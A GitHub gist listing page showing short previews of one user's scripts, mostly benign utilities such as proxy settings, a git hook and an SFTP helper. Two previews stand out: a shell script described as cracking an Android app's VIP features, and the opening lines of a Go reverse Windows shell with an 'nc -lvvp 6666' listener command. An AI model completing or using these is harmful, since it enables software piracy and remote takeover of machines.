Skip to content

Instantly share code, notes, and snippets.

@yougg
yougg / hackddcat.sh
Last active January 1, 2021 15:58
多多猫 Android应用 破解VIP
#!/bin/bash
# 参考: https://www.52pojie.cn/thread-659866-1-1.html
cd `mktemp -d`
mkdir -p tool app
# 安装相关工具
cd tool
wget --no-check-certificate -O openjdk.tar.gz https://download.java.net/java/GA/jdk11/13/GPL/openjdk-11.0.1_linux-x64_bin.tar.gz
wget --no-check-certificate https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
@yougg
yougg / acfun_emoji.sh
Last active September 8, 2019 04:08
AC娘表情包图片下载脚本
#!/bin/bash
#AC娘表情包 01-54
#http://cdn.aixifan.com/dotnet/20130418/umeditor/dialogs/emotion/images/ac/01.gif?v=0.1
#匿名版表情包 01-40
#http://cdn.aixifan.com/dotnet/20130418/umeditor/dialogs/emotion/images/ais/01.gif?v=0.1
#AC新娘表情包 01-55
#http://cdn.aixifan.com/dotnet/20130418/umeditor/dialogs/emotion/images/ac2/01.gif?v=0.1
@yougg
yougg / proxy.md
Last active April 7, 2024 04:02
complete ways to set http/socks/ssh proxy environment variables

set http or socks proxy environment variables

# set http proxy
export http_proxy=http://PROXYHOST:PROXYPORT

# set http proxy with user and password
export http_proxy=http://USERNAME:PASSWORD@PROXYHOST:PROXYPORT

# set http proxy with user and password (with special characters)
@yougg
yougg / githook.sh
Created August 17, 2018 09:38
git pre-commit hook for format go source files
#!/usr/bin/env bash
cd `dirname $0`
if [ "githook.sh" = "`basename $0`" ]; then
gitroot=$(git rev-parse --show-toplevel)
cp -f ${gitroot}/scripts/githook.sh ${gitroot}/.git/hooks/pre-commit
chmod u+x ${gitroot}/.git/hooks/pre-commit
exit 0
elif [ "pre-commit" = "`basename $0`" ]; then
cd ../..
@yougg
yougg / codecount.sh
Created August 17, 2018 09:17
shell count code lines in the directory
#!/bin/bash
if [ -n "${1}" ]; then
WD=${1}
else
WD=$(cd `dirname $0`/..;pwd)
fi
# find all text file extensions which not in the dir: .idea/.git/vendor/thirdparty/sdk/swagger
exts=$(find ${WD} -type f -not -path "*.idea*" -not -path "*.git*" -not -path "*/sdk/*" -not -path "*rd*arty*" -not -path "*vendor*" -not -path "*swagger*" -exec grep -Iq . {} \; -and -print 2> /dev/null | awk -F '.' '{if ($NF!~/\//){print $NF}}' | sort | uniq)
@yougg
yougg / pidstat.sh
Created August 17, 2018 09:09
monitor process state by pid
#!/usr/bin/env bash
# Thread state
# pidstat -dhut -p <PID>
# top -bcH -n 1 -p <PID>
# pstree -ps <PID>
pname=${1}
if [ -z "${pname}" ] || [[ "${pname}" =~ [-](h|H|[-]?help) ]]; then
echo -e "Error: need input a process name or pid\n"
@yougg
yougg / sftp.go
Created July 30, 2018 12:08
simple sftp get/put api in go
package sftp
import (
"errors"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"time"
@yougg
yougg / random.go
Created July 30, 2018 12:06
generate random string in go
package main
import (
"math/rand"
"time"
"fmt"
)
const (
lowercaseLetter = `abcdefghijklmnopqrstuvwxyz`
@yougg
yougg / reversecmd.go
Last active April 7, 2024 04:01 — forked from takeshixx/shell.go
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"